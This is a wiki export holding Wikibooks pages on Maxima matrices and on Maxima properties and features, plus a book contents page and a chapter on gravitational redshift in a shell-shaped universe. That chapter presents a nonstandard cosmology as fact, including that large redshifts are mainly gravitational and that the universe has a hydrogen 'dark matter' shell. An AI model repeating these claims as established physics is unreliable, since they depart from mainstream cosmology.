      <format>text/x-wiki</format>
      <text bytes="4602" sha1="6x2jpd324gtqmkx6ugq9iszef5eplqn" xml:space="preserve">== Data Types ==
Maxima data types generally can be categorized as follows:

* Atomic
* Non-atomic

==== Atomic Data Types ====

* Numerical
* Strings
* Constants

==== Non-atomic Data Types ====

* Lists
* Arrays
* Structures
* Matrices
* Sets

== Matrices ==
&quot;In Maxima, a matrix is implemented as a nested list (namely a list of rows of the matrix)&quot;. E.g. :&lt;ref&gt;[http://permalink.gmane.org/gmane.comp.mathematics.maxima.general/13588 the Maxima mailing list &lt;nowiki&gt;: [Maxima] array and matrix? - answer by Robert Dodier&lt;/nowiki&gt;]&lt;/ref&gt;
 (($MATRIX) ((MLIST) 1 2 3) ((MLIST) 4 5 6))
Construction of matrices from nested lists :
 (%i3) M:matrix([1,2,3],[4,5,6],[0,-1,-2]);
                                 [ 1   2    3  ]
                                 [             ]
 (%o3)                           [ 4   5    6  ]
                                 [             ]
                                 [ 0  - 1  - 2 ]


Interesting examples by Burkhard Bunk : &lt;ref&gt;[http://www-com.physik.hu-berlin.de/~bunk/kurs/maxima/maxima.html Maxima Overview by Burkhard Bunk ]&lt;/ref&gt;
 A: matrix([a, b, c], [d, e, f], [g, h, i]);     /* (3x3) matrix */
 u: matrix([x, y, z]);                           /* row vector */
 v: transpose(matrix([r, s, t]));                /* column vector */
Reference to elements etc:
 u[1,2];                 /* second element of u */
 v[2,1];                 /* second element of v */
 A[2,3];   or  A[2][3];  /* (2,3) element */
 A[2];                         /* second row of A */
 transpose(transpose(A)[2]);   /* second column of A */
Element by element operations:
 A + B;     
 A - B;
 A * B;      
 A / B;
 A ^ s;      
 s ^ A;
Matrix operations :
 A . B;                  /* matrix multiplication */
 A ^^ s;                 /* matrix exponentiation (including inverse) */
 transpose(A);
 determinant(A);
 invert(A);


Category: Matrices :&lt;ref&gt;[http://maxima.sourceforge.net/docs/manual/en/maxima_100.html#Category_003a-Matrices maxima manual : Category Matrices]&lt;/ref&gt;

* addcol
* addrow
* adjoint
* augcoefmatrix
* cauchy_matrix
* charpoly
* coefmatrix
* col
* columnvector
* covect
* copymatrix
* determinant
* detout
* diag
* diagmatrix
* doallmxops
* domxexpt
* domxmxops
* domxnctimes
* doscmxops
* doscmxplus
* echelon
* eigen
* ematrix
* entermatrix
* genmatrix
* ident
* invert
* list_matrix_entries
* lmxchar
* matrix
* matrix_element_add
* matrix_element_mult
* matrix_element_transpose
* matrixmap
* matrixp
* mattrace
* minor
* ncharpoly
* newdet
* nonscalar
* nonscalarp
* permanent
* rank
* ratmx
* row
* scalarmatrixp
* scalarp
* setelmx
* sparse
* submatrix
* tracematrix
* transpose
* triangularize
* zeromatrix

=== Function: matrix ===
 Function: matrix (row_1, …, row_n)
Returns a rectangular matrix which has the rows row_1, …, row_n. Each row is a list of expressions. All rows must be the same length.

=== . operator ===
&quot;The dot operator, for matrix (non-commutative) multiplication. When &quot;.&quot; is used in this way, spaces should be left on both sides of it, e.g.
 A . B
This distinguishes it plainly from a decimal point in a floating point number.

The operator . represents noncommutative multiplication and scalar product. When the operands are 1-column or 1-row matrices a and b, the expression a.b is equivalent to sum (a[i]*b[i], i, 1, length(a)). If a and b are not complex, this is the scalar product, also called the inner product or dot product, of a and b. The scalar product is defined as conjugate(a).b when a and b are complex; innerproduct in the eigen package provides the complex scalar product.

When the operands are more general matrices, the product is the matrix product a and b. The number of rows of b must equal the number of columns of a, and the result has number of rows equal to the number of rows of a and number of columns equal to the number of columns of b.

To distinguish . as an arithmetic operator from the decimal point in a floating point number, it may be necessary to leave spaces on either side. For example, 5.e3 is 5000.0 but 5 . e3 is 5 times e3.

There are several flags which govern the simplification of expressions involving ., namely dot0nscsimp, dot0simp, dot1simp, dotassoc, dotconstrules, dotdistrib, dotexptsimp, dotident, and dotscrules.&quot; ( from Maxima CAS doc)

== Vectors ==
Category: Vectors :

* Vectors
* eigen
* express
* nonscalar
* nonscalarp
* scalarp

Category: Package vect&lt;ref&gt;[http://maxima.sourceforge.net/docs/manual/en/maxima_23.html#Item_003a-Vectors maxima  manual : Package vect]&lt;/ref&gt;

* vect
* scalefactors
* vect_cross
* vectorpotential
* vectorsimp  


{{Bookcat}}</text>
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  <page>
    <title>Maxima/Features</title>
    <ns>0</ns>
    <id>438294</id>
    <revision>
      <id>4670452</id>
      <parentid>4660870</parentid>
      <timestamp>2026-09-16T16:18:34Z</timestamp>
      <contributor>
        <username>Idavidmiller</username>
        <id>3577687</id>
      </contributor>
      <minor />
      <origin>4670452</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12301" sha1="qgtnzk3segrttg5ff77z5508qaaohyd" xml:space="preserve">{{DISPLAYTITLE:Maxima/Properties}}

== Properties and Features ==
Inconsistent and imprecise use of technical terms has tended to make this topic confusing. To start, bear in mind that properties and features apply most essentially and usefully to identifiers – atoms. When ''&quot;atom&quot;'' is referred to in this context, string atoms and numerical atoms are not included. Properties and features are often put to use within programming expressions and in setting certain ''&quot;flags&quot;'' that can have affects that vary with the specific flag. Properties and features do not change the value of atoms.

In Maxima, '''''features''''' are a specific ''mathematical'' subset of a broad set of '''''properties''''' recognized by the Maxima system database. All ''features'' are ''properties'', but not all ''properties'' are categorized as ''features''. You assign both ''properties'' and ''features'' using the &lt;code&gt;declare&lt;/code&gt; operator, but they serve different organizational and logical roles. &lt;ref&gt;{{Cite web |title=Maxima’s Database |url=https://maxima.sourceforge.io/docs/manual/Maxima_0027s-Database.html}}&lt;/ref&gt;&lt;ref&gt;{{Cite web |title=CAS Maxima Workbook |url=https://roland-salz.de/Maxima_Workbook.pdf}}&lt;/ref&gt;&lt;ref&gt;{{Cite web |title=DOE-Maxima Reference Manual |url=https://www.math.u-szeged.hu/~kovzol/SzAAMT-2003/macref.pdf}}&lt;/ref&gt;&lt;ref&gt;{{Cite web |title=Maxima CAS An Introduction |url=https://www.slideshare.net/slideshow/maxima-cas-an-introduction/250411682}}&lt;/ref&gt;

====== &lt;u&gt;Properties&lt;/u&gt;: ======

* A broad category: Attributes or ''&quot;flags&quot;'' assigned to identifiers and functions ( e.g. &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;f(x)&lt;/code&gt; )  using &lt;code&gt;declare(object, property)&lt;/code&gt;, where &lt;code&gt;object&lt;/code&gt; is an atom or a list of atoms.
* Functionality: Can control evaluation behavior, syntax parsing, or system flags.
* Examples: &lt;code&gt;evfun&lt;/code&gt;, &lt;code&gt;evflag&lt;/code&gt;, &lt;code&gt;bindtest&lt;/code&gt;, &lt;code&gt;noun&lt;/code&gt;, &lt;code&gt;constant&lt;/code&gt;, &lt;code&gt;scalar&lt;/code&gt;, and &lt;code&gt;nonscalar&lt;/code&gt;.
* Testing: Queried via various methods depending on the specific property type.&lt;ref&gt;{{Cite web |title=Maxima Expressions |url=https://maths.cnam.fr/Membres/wilk/MathMax/help/Maxima/maxima_6.html}}&lt;/ref&gt;&lt;ref name=&quot;:0&quot;&gt;{{Cite web |title=Maxima’s Database |url=https://maxima.sourceforge.io/docs/manual/Maxima_0027s-Database.html}}&lt;/ref&gt; For example the property &lt;code&gt;nonscalar&lt;/code&gt; has an associated &lt;code&gt;nonscalarp&lt;/code&gt; operator. However, not all properties have a unique operator for testing. Those properties may be tested using &lt;code&gt;featurep(object,&lt;/code&gt;&lt;code&gt;property)&lt;/code&gt; which at best is an annoying inconsistency in terminology that can lead to confusion.

====== &lt;u&gt;Features&lt;/u&gt;: ======

* A specific subset of ''properties'': ''Mathematical attributes'' of identifiers and functions that are tracked in a global list called &lt;code&gt;features&lt;/code&gt;.
* Functionality: Used for logical inferences, algebraic simplification, and testing mathematical traits via &lt;code&gt;featurep&lt;/code&gt;.
* Examples: Built-in traits like &lt;code&gt;even&lt;/code&gt;, &lt;code&gt;odd&lt;/code&gt;, &lt;code&gt;integer&lt;/code&gt;, &lt;code&gt;rational&lt;/code&gt;, &lt;code&gt;commutative&lt;/code&gt;, &lt;code&gt;symmetric&lt;/code&gt;, or user-defined features.
* Extensibility: You can declare a new, user-defined feature &lt;code&gt;foo&lt;/code&gt;, for example,using &lt;code&gt;declare(foo, feature)&lt;/code&gt; and then assign that new feature to identifiers and functions.
* Testing: '''All features''' are queried explicitly using &lt;code&gt;featurep(object, feature)&lt;/code&gt; operator form, where &lt;code&gt;object&lt;/code&gt; is an atom or a list of atoms.&lt;ref name=&quot;:0&quot; /&gt;&lt;ref&gt;{{Cite web |title=Maxima 5.49.0 Manual |url=https://maxima.sourceforge.io/docs/manual/maxima_singlepage.html}}&lt;/ref&gt;&lt;ref name=&quot;:1&quot;&gt;{{Cite web |title=Functions and Variables for Properties |url=https://pmsf.eu/pub/cmucl/maxima/new-cat/maxima_58.html}}&lt;/ref&gt;

Maxima recognizes ''properties'' as: 
* ''non-mathematical'' ''properties'' of functions and identifiers
* ''mathematical properties'' called ''features'' of functions and identifiers
* ''user-defined'' ''features'' of functions and identifiers
* ''Maxima system-dependent properties'' 
There is a list object of non-mathematical, system-dependent properties. See &lt;code&gt;status''(''feature'')''&lt;/code&gt;.&lt;ref&gt;{{Cite web |title=Function: status |url=https://maxima.sourceforge.io/docs/manual/Runtime-Environment.html#index-status}}&lt;/ref&gt; The use of the argument &lt;code&gt;feature&lt;/code&gt; in this context is regrettable. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i1)	status (feature);
(%o1)	[quicklisp,asdf3.3,asdf3.2,asdf3.1,asdf3,asdf2,asdf,os\-unix,non\-base\-chars\-exist\-p,asdf\-unicode,has\-distinct\-double\-float,has\-distinct\-single\-float,
lisp\-unicode\-capable,cl,mk\-defsystem,cltl2,arena\-allocator,x86\-64,gencgc,64\-bit,ansi\-cl,common\-lisp,elf,ieee\-floating\-point,linux,little\-endian,
package\-local\-nicknames,sb\-ldb,sb\-package\-locks,sb\-thread,sb\-unicode,sbcl,unix]
&lt;/syntaxhighlight&gt;Some examples of some properties, features, and associated operators:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;/* declare x to have the property mainvar */
(%i2)	declare (x, mainvar);
(%o2)	done

/* query x for the property mainvar */
(%i3)	featurep (x, mainvar);
(%o3)	true

/* declare y to have the feature real */
(%i4)	declare (y, real);
(%o4)	done

/* query y for the feature real  */
(%i5)	featurep (y, real );
(%o5)	true

/* declare foo to be a feature  */
(%i6)	declare (foo, feature);
(%o6)	done

/* declare z to have the feature foo */
(%i7)	declare (z, foo);
(%o7)	done

/* query z for the feature foo */
(%i8)	featurep (z, foo );
(%o8)	true

/*  declare w to have the property no0nscalar */
(%i9)	declare (w, nonscalar);
(%o9)	done

/* query w for the property scalar  */
(%i10)	scalarp(w);
(%o10)	false

/* query w for the property nonscalar */
(%i11)	nonscalarp(w);
(%o11)	true

/* a list of features  */
(%i12)	[red, green, blue]
(%o12)	done

/* declare a to have the list of features  */
(%i13)	declare(a, [red, green, blue]);
(%o13)	done

/* query a for the feature red */
(%i14)	featurep(a,red);
(%o14)	true

/*  declare r, g, and b to have the list of features */
(%i15)	declare([r,g,b], [red, green, blue]);
(%o15)	done

/* query g for the feature red */
(%i16)	featurep(g,red);
(%o16)	true

/* return a list of identifiers with the property nonscalar  */
(%i17)	propvars(nonscalar);
(%o17)	[w]

/* remove the property nonscalar from w */
(%i18)	remove(w,nonscalar);
(%o18)	done

/* query w for the property nonscalar */
(%i19)	nonscalarp(w);
(%o19)	false

/*  return a list of identifiers with the feature green */
(%i20)	propvars(green);
(%o20)	[a,r,g,b]

/*  remove the features red and blue from a, r, and b */
(%i21)	remove([a,r,b],[red,blue]);
(%o21)	done

/* return a list of identifiers with the feature red */
(%i22)	propvars(red);
(%o22)	[g]

/*  return a list of identifiers with the feature blue */
(%i23)	propvars(blue);
(%o23)	[g]

/* return a list of identifiers with the feature green */
(%i24)	propvars(green);
(%o24)	[a,r,g,b]

/* use a feature in a block with a conditional  */
(%i25)	(stringdisp: false, 
             if  featurep (g,red) then 
             print ('g, &quot;is red&quot;) else 
             print ('g,  &quot;is not red&quot;),
         &quot;&quot;)$
        g is red&lt;/syntaxhighlight&gt;

=== The &lt;code&gt;declare&lt;/code&gt; Operator ===

; &lt;code&gt;'''declare''' &lt;var&gt;(a_1, p_1, a_2, p_2, …)&lt;/var&gt;&lt;/code&gt;&lt;var&gt;&lt;ref name=&quot;:1&quot; /&gt;&lt;/var&gt;
: Assigns the atom or list of atoms &lt;var&gt;&lt;code&gt;a_i&lt;/code&gt;&lt;/var&gt; the property or list of properties &lt;var&gt;&lt;code&gt;p_i&lt;/code&gt;&lt;/var&gt;. When &lt;var&gt;&lt;code&gt;a_i&lt;/code&gt;&lt;/var&gt; and/or &lt;var&gt;&lt;code&gt;p_i&lt;/code&gt;&lt;/var&gt; are list objects, each of the atoms gets all of the properties.

The &lt;code&gt;declare&lt;/code&gt; operator recognizes the following ''properties and features. Features'' are &lt;u&gt;underlined&lt;/u&gt;:
* '''additive''' : Tells Maxima to simplify &lt;code&gt;a_i&lt;/code&gt; expressions by the substitution &lt;code&gt;a_i(x + y + z + ...) --&gt; a_i(x) + a_i(y) + a_i(z) + ....&lt;/code&gt; The substitution is carried out on the first argument only.
* '''alphabetic''' : Tells Maxima to recognize all characters in &lt;code&gt;a_i&lt;/code&gt; (which must be a string) as alphabetic characters.
* '''&lt;u&gt;analytic&lt;/u&gt;''': Tells Maxima that the specified function is an analytic function (having a convergent power series expansion)
* '''&lt;u&gt;antisymmetric&lt;/u&gt;''', '''&lt;u&gt;commutative&lt;/u&gt;''', '''&lt;u&gt;symmetric&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as a symmetric or antisymmetric function. commutative is the same as symmetric.
* '''bindtest ''': Tells Maxima to trigger an error when &lt;code&gt;a_i&lt;/code&gt; is evaluated unbound.
* '''&lt;u&gt;constant&lt;/u&gt;''' : Tells Maxima to consider &lt;code&gt;a_i&lt;/code&gt; a symbolic constant.
* '''&lt;u&gt;even&lt;/u&gt;''', '''&lt;u&gt;odd&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as an even or odd integer variable.
* '''&lt;u&gt;evenfun&lt;/u&gt;''', '''&lt;u&gt;oddfun&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as an odd or even function.
* '''evflag''' : Makes &lt;code&gt;a_i&lt;/code&gt; known to the &lt;code&gt;ev&lt;/code&gt; function so that &lt;code&gt;a_i&lt;/code&gt; is bound to true during the execution of ev when &lt;code&gt;a_i&lt;/code&gt; appears as a flag argument of &lt;code&gt;ev&lt;/code&gt;. See &lt;code&gt;evflag&lt;/code&gt;.
* '''evfun''' : Makes &lt;code&gt;a_i&lt;/code&gt; known to &lt;code&gt;ev&lt;/code&gt; so that the function named by &lt;code&gt;a_i&lt;/code&gt; is applied when &lt;code&gt;a_i&lt;/code&gt; appears as a flag argument of &lt;code&gt;ev&lt;/code&gt;. See &lt;code&gt;evfun&lt;/code&gt;.
* '''feature''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as the name of a feature. Other atoms may then be declared to have the &lt;code&gt;a_i&lt;/code&gt; property.
* '''&lt;u&gt;increasing&lt;/u&gt;''', &lt;u&gt;'''decreasin'''g&lt;/u&gt; : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as an increasing or decreasing function.
* '''&lt;u&gt;integer&lt;/u&gt;''', '''&lt;u&gt;noninteger&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as an integer or noninteger variable.
* '''&lt;u&gt;integervalued&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as an integer-valued function.
* '''&lt;u&gt;lassociative&lt;/u&gt;''', '''&lt;u&gt;rassociative&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as a right-associative or left-associative function.
* '''linear''' : Equivalent to declaring &lt;code&gt;a_i&lt;/code&gt; both '''outative''' and '''additive'''.
* '''mainvar''' : Tells Maxima to consider &lt;code&gt;a_i&lt;/code&gt; a &quot;main variable&quot;. A main variable succeeds all other constants and variables in the canonical ordering of Maxima expressions, as determined by &lt;code&gt;ordergreatp&lt;/code&gt;.
* '''multiplicative''' : Tells Maxima to simplify a_i expressions by the substitution &lt;code&gt;a_i(x * y * z * ...) --&gt; a_i(x) * a_i(y) * a_i(z) * ....&lt;/code&gt; The substitution is carried out on the first argument only.
* '''nary''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as an n-ary function. The nary declaration is not the same as calling the nary function. The sole effect of &lt;code&gt;declare(foo, nary)&lt;/code&gt; is to instruct the Maxima simplifier to flatten nested expressions, for example, to simplify &lt;code&gt;foo(x, foo(y, z))&lt;/code&gt; to &lt;code&gt;foo(x, y, z)&lt;/code&gt;.
* '''nonarray''' : Tells Maxima to consider &lt;code&gt;a_i&lt;/code&gt; not an array. This declaration prevents multiple evaluation of a subscripted variable name.
* '''nonscalar''' : Tells Maxima to consider &lt;code&gt;a_i&lt;/code&gt; a nonscalar variable. The usual application is to declare a variable as a symbolic vector or matrix.
* '''noun''' : Tells Maxima to parse &lt;code&gt;a_i&lt;/code&gt; as a noun. The effect of this is to replace instances of &lt;code&gt;a_i&lt;/code&gt; with &lt;code&gt;'a_i&lt;/code&gt; or &lt;code&gt;nounify(a_i)&lt;/code&gt;, depending on the context.
* '''outative ''': Tells Maxima to simplify &lt;code&gt;a_i&lt;/code&gt; expressions by pulling constant factors out of the first argument. When &lt;code&gt;a_i&lt;/code&gt; has one argument, a factor is considered constant if it is a literal or declared constant. When &lt;code&gt;a_i&lt;/code&gt; has two or more arguments, a factor is considered constant if the second argument is a symbol and the factor is free of the second argument.
* '''&lt;u&gt;posfun&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as a positive function.
* '''&lt;u&gt;rational&lt;/u&gt;''', '''&lt;u&gt;irrational&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as a rational or irrational real variable.
* '''&lt;u&gt;real&lt;/u&gt;''', '''&lt;u&gt;imaginary&lt;/u&gt;''', '''&lt;u&gt;complex&lt;/u&gt;''' : Tells Maxima to recognize &lt;code&gt;a_i&lt;/code&gt; as a real, pure imaginary, or complex variable.
* '''scalar''' : Tells Maxima to consider &lt;code&gt;a_i&lt;/code&gt; a scalar variable.

{{Bookcat}}</text>
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      <comment>Updating gadget usage statistics from [[Special:GadgetUsage]] ([[phab:T121049]])</comment>
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The following data is cached, and was last updated 2026-09-16T06:36:26Z. A maximum of {{PLURAL:5000|one result is|5000 results are}} available in the cache.
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    <title>Moving objects in retarded gravitational potentials of an expanding spherical shell</title>
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      <comment>additional chapter</comment>
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[[File:Moving.star.in.dark.shell.png|right|400px]]
{{print version}}

==Contents==
# [[/Preface/]]
# [[/Brief historical review/]]
# [[/Classical approach/]]
# [[/Retarded gravitational potentials/]]
# [[/Gravitational redshift/]]
# [[/Cosmology of retarded interaction/]]
# [[/Conclusion/]]  
==Appendix==
# [[/Table with computed results/]]
# [[/Java program/]]

__NOTOC__ __NOEDITSECTION__
{{status|100%}}

==Summary of the project==
* '''Target audience:''' Astronomers, astrophysicists, physicists, mathematicians
* '''Learning objectives:''' Application of retarded gravitational potentials and gravitational redshift on very large scales.
* '''Contact person:''' [[User:Bautsch]]
* '''Are co-authors currently desired?''' Yes. Corrections of obvious errors directly in the text; content please after discussion.
* '''Guidelines for co-authors:''' Wikimedia-like.

[[Category:Shelf:Astronomy]]
[[Category:Shelf:Physics]]
[[Category:Completed books]]
[[Category:Professional reading level]]</text>
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    <title>Moving objects in retarded gravitational potentials of an expanding spherical shell/Gravitational redshift</title>
    <ns>0</ns>
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      <id>4670418</id>
      <parentid>4670291</parentid>
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      <contributor>
        <username>Bautsch</username>
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      <minor />
      <comment>Cosmology of retarded interaction</comment>
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      <text bytes="29657" sha1="8qjv6xm337c4ryvvjml2i1xacp2g7np" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Retarded gravitational potentials|Cosmology of retarded interaction}}
&lt;/noinclude&gt;

==Gravitational redshift==
=== Schwarzschild radius ===
[[File:Schwarzschild.radius.redshift.png|thumb|right|upright=2|Relation between the Schwarzschild radius &lt;math&gt;r_S&lt;/math&gt; and a redshift of an emitted photon &lt;math&gt;z&lt;/math&gt; in a distance &lt;math&gt;r&lt;/math&gt; caused by the gravitation of the massive sphere in the centre.]]

The Schwarzschild radius &lt;math&gt;r_S&lt;/math&gt; of any mass &lt;math&gt;M&lt;/math&gt; in a Schwarzschild sphere (typically a black hole) is given by:

:&lt;math&gt;r_S = \frac {2 \, G \, M} {c^2}&lt;/math&gt;

Apart from its mass, the Schwarzschild radius is only depending on two natural constants:

* Gravitational constant: &lt;math&gt;G = 6.67 \cdot 10^{-11} \frac {\text {m}^3} {\text {kg} \, \text {s}^2}&lt;/math&gt;
* Speed of light: &lt;math&gt;c = 299792458 \frac {\text {m}} {\text {s}}&lt;/math&gt;

The gravitational redshift z of photons emitted to the opposite direction of the Schwarzschild sphere and with a distance to the centre of the sphere &lt;math&gt;r&lt;/math&gt; can be computed by the following formula:

:&lt;math&gt;z = \frac {1} {\sqrt {1 - \frac {2 \, G \, M} {r \, c^2}}} - 1 = \frac {1} {\sqrt {1 - \frac {r_S} {r}}} - 1&lt;/math&gt;

The redshift of very far objects such as the galaxy JADES-GS-z14-0 has a value of more than 14, and this is much larger than expected. The possible high speed of such a galaxy is not sufficient for such a high value. The distance of this galaxy is given by 13.5&amp;nbsp;billion light-years, and its age is assumed to be 290&amp;nbsp;million years after Big Bang.

The cosmic microwave background even has a redshift value of 1089, which is extremely high. It is associated with the first hydrogen atoms that occurred some 380,000 years after the Big Bang. The radial spectrum of the cosmic microwave background fits perfectly to the radiation of a black body with a temperature of &lt;math&gt;T = 2.7 \, \text{Kelvin}&lt;/math&gt;. If the spectral alpha line of the Lyman series of hydrogen was emitted at a wavelength of &lt;math&gt;\lambda_{\alpha ,0} = 121 \, \text{nm}&lt;/math&gt; (corresponds to 10.2&amp;nbsp;electronvolts (eV)), its redshifted observation at a redshift of &lt;math&gt;z = 1089&lt;/math&gt; would have a wavelength &lt;math&gt;\lambda_{\alpha}&lt;/math&gt; of:

:&lt;math&gt;\lambda_{\alpha} = (z + 1) \cdot \lambda_{\alpha ,0} = 132.5 \, \text {µm}&lt;/math&gt;

This wavelength is related to a terahertz (THz) radiation with a frequency &lt;math&gt;f_{\alpha}&lt;/math&gt; of

:&lt;math&gt;f_{\alpha} = \frac {c} {\lambda_{\alpha}} = 2.26 \, \text{THz}&lt;/math&gt;,

which is totally absorbed by the earth's atmosphere, and therefore, cannot be observed from the surface of the earth. At this wavelength the energy of a photon &lt;math&gt;E_{ph}&lt;/math&gt; is:

:&lt;math&gt;E_{ph} = h \cdot f_{\alpha} \approx 0.01 \, \text {eV}&lt;/math&gt;

The colour temperature &lt;math&gt;T_{CMB}&lt;/math&gt; of the cosmic microwave background is just under 3000&amp;nbsp;Kelvin:

:&lt;math&gt;T_{CMB} = (z + 1) \cdot T = 2970 \, \text {K}&lt;/math&gt;.

Using the Boltzmann constant &lt;math&gt;k_B = 1.380649 \cdot 10^{-23} \frac {\text{J}} {\text{K}}&lt;/math&gt; this corresponds to a kinetic energy &lt;math&gt;E_{CMB}&lt;/math&gt; of a free particle of:

:&lt;math&gt;E_{CMB} = \frac {3} {2} \cdot k_B \cdot T_{CMB} \approx 0.38 \, \text {eV}&lt;/math&gt;

This energy is well below the ionisation energy of hydrogen respectively the Rydberg unit of energy, which is 13.6&amp;nbsp;electronvolts (eV), as well as below the exitation energy of the alpha line of the Lyman series of hydrogen.
&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;

=== In a shell ===
[[File:Gravitation.in.a.hollow.spherical.cap.png|thumb|right|upright=1|The sum of all gravitational forces between the mass &lt;math&gt;m&lt;/math&gt; and a spherical arc (blue) with the linear mass density &lt;math&gt;\lambda_M&lt;/math&gt; that represents a hollow spherical cap. It has the same effect as the gravitational force between the mass &lt;math&gt;m&lt;/math&gt; and an effective spherical mass &lt;math&gt;M_{eff}&lt;/math&gt; (black).]]

However, a gravitational redshift can not only occur outside of spheres, but also within in a hollow spherical cap. To estimate its gravitational redshift, the effective mass &lt;math&gt;M_{eff}&lt;/math&gt; of such a cap can be integrated for any point within the cap. The corresponding effect can be described by a Schwarzschild sphere with the Schwarzschild radius.

For very fast-moving objects we can assume that they only experience the retarded gravitational potentials of the mass elements in front of them, since the backward potentials are even much more retarded, and therefore, contribute only weakly to the net gravity. In the following section only the arc of the shell cap is considered. The gravitational forces rectangular to the direction of movement are very small and can be neglected.

This also holds in first approximation for the gravitational forces behind the very fast-moving moving mass &lt;math&gt;m&lt;/math&gt;. If the distance &lt;math&gt;d&lt;/math&gt; between the mass &lt;math&gt;m&lt;/math&gt; and the shell is given, we can carry out an estimation for the fraction of the retarded forces from the opposite part of the shell in the distance &lt;math&gt;2 \, R - d&lt;/math&gt;, where &lt;math&gt;R&lt;/math&gt; is radius of the universe (cf. previous section [[Moving objects in retarded gravitational potentials of an expanding spherical shell/Retarded gravitational potentials|&quot;Retarded gravitational potentials&quot;]]):

:&lt;math&gt;F_{right} \propto \frac {1} {d^2}&lt;/math&gt;

:&lt;math&gt;F_{left} \propto \frac {1} {(2 \, R - d)^2}&lt;/math&gt;

If we assume that the distance is a fraction &lt;math&gt;n&lt;/math&gt; of the radius

:&lt;math&gt;d = \frac {R} {n}&lt;/math&gt;

then the ratio of the two forces has the following relation:

:&lt;math&gt;\frac {F_{right}} {F_{left}} = \left( \frac {2 \, R - \frac {R} {n}} {\frac {R} {n}} \right)^2 = (2 \, n - 1)^2&lt;/math&gt;

[[File:Ratio.retarded.gravitational.forces.versus.redshift.png|thumb|right|upright=2|The ratio of the retarded gravitational forces in the distance of oberserved objects versus the corresponding redshifts]]

This means if the distance &lt;math&gt;d&lt;/math&gt; is a tenth of the radius &lt;math&gt;R&lt;/math&gt; of the universe, the error by neglecting the left force would be less than 0.3&amp;nbsp;percent. This distance is corresponding to a redshift of about 7.5.

In the diagram on the left the ratio of the two forces is plotted against the redshift which is observed at corresponding distances. The high values of redshift at far distant objects seem to be dominated by the gravitaional redshift, whereas at shorter distances the redshift is dominated by the Doppler effect.
&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;

=== Computation ===
[[File:Effektive.Masse.png|thumb|right|upright=2|Diagram for integrating the effective mass of an outer shell &lt;math&gt;M_{eff}&lt;/math&gt; acting on a fast moving mass &lt;math&gt;m&lt;/math&gt; by varying the centre angle &lt;math&gt;\alpha&lt;/math&gt; from &lt;math&gt;-\alpha_R&lt;/math&gt; to &lt;math&gt;\alpha_R&lt;/math&gt;.&lt;br/&gt;
&lt;math&gt;R&lt;/math&gt; = radius of the visible universe&lt;br/&gt;
&lt;math&gt;d&lt;/math&gt; = distance of mass &lt;math&gt;m&lt;/math&gt; to the outer shell&lt;br/&gt;
&lt;math&gt;\lambda_M&lt;/math&gt; = linear mass density of the outer shell]]

The bold arc on the right-hand side of the diagram is representing all mass elements of the outer shell of the universe with the linear mass density &lt;math&gt;\lambda_M&lt;/math&gt; in front of the mass &lt;math&gt;m&lt;/math&gt; that is moving to the right with high velocity. The outer shell is consisting of dark matter (mainly hydrogen), and in the central area of the universe this dark matter might only be visible due to the cosmic microwave background.

We use the following constant values for the estimates derived from these premises:

* Light-year: &lt;math&gt; 1 \, \text {ly} = 9.46 \cdot 10^{15} \text {m}&lt;/math&gt;
* Hubble length: &lt;math&gt;R = 1.36 \cdot 10^{26} \text {m} = 14,4 \cdot 10^{9} \text {ly}&lt;/math&gt; (14.4 billion light-years)

The mass of this arc &lt;math&gt;M_{arc}&lt;/math&gt; can be computed by integrating the arc between the angles &lt;math&gt;-\alpha_R&lt;/math&gt; and &lt;math&gt;+\alpha_R&lt;/math&gt; with its linear mass density &lt;math&gt;\lambda_M&lt;/math&gt;:

:&lt;math&gt;\alpha_R = \arcsin \frac {x} {R}&lt;/math&gt;

:&lt;math&gt;M_{arc} = \int_{-\alpha_R}^{+\alpha_R} \mathrm {dM} = \int_{-\alpha_R}^{+\alpha_R} R \, \lambda_M \, \mathrm {d\alpha} = 2 \, \int_{0}^{\alpha_R} R \, \lambda_M \, \mathrm {d\alpha} = 2 \, R \, \lambda_M \, \alpha_R&lt;/math&gt;

The mass of the whole shell &lt;math&gt;M_S&lt;/math&gt; is given by integrating a '''complete circle''':

:&lt;math&gt;M_S = \int_{-\pi}^{+\pi} \mathrm {dM} = 2 \pi \, R \, \lambda_M&lt;/math&gt;

The Pythagorean theorem gives the following result for the half chord of the circle:

:&lt;math&gt;h = \sqrt {2 \, R \, d - d^2}&lt;/math&gt;

[[File:Effektive.Masse.Detail.png|thumb|right|upright=2|Detail for integrating the infinitesimal mass element &lt;math&gt;\mathrm {dM}&lt;/math&gt; acting on a mass &lt;math&gt;m&lt;/math&gt; by varying the angle &lt;math&gt;\alpha&lt;/math&gt;.&lt;br/&gt;
&lt;math&gt;\alpha&lt;/math&gt; = angle as seen from origin &lt;math&gt;\bigcirc&lt;/math&gt;&lt;br/&gt;
&lt;math&gt;R&lt;/math&gt; = radius of the universe (Hubble length)&lt;br/&gt;
&lt;math&gt;h&lt;/math&gt; = height of the mass element &lt;math&gt;\mathrm {dM}&lt;/math&gt;&lt;br/&gt;
&lt;math&gt;d&lt;/math&gt; = distance of mass &lt;math&gt;m&lt;/math&gt; to the outer shell&lt;br/&gt;
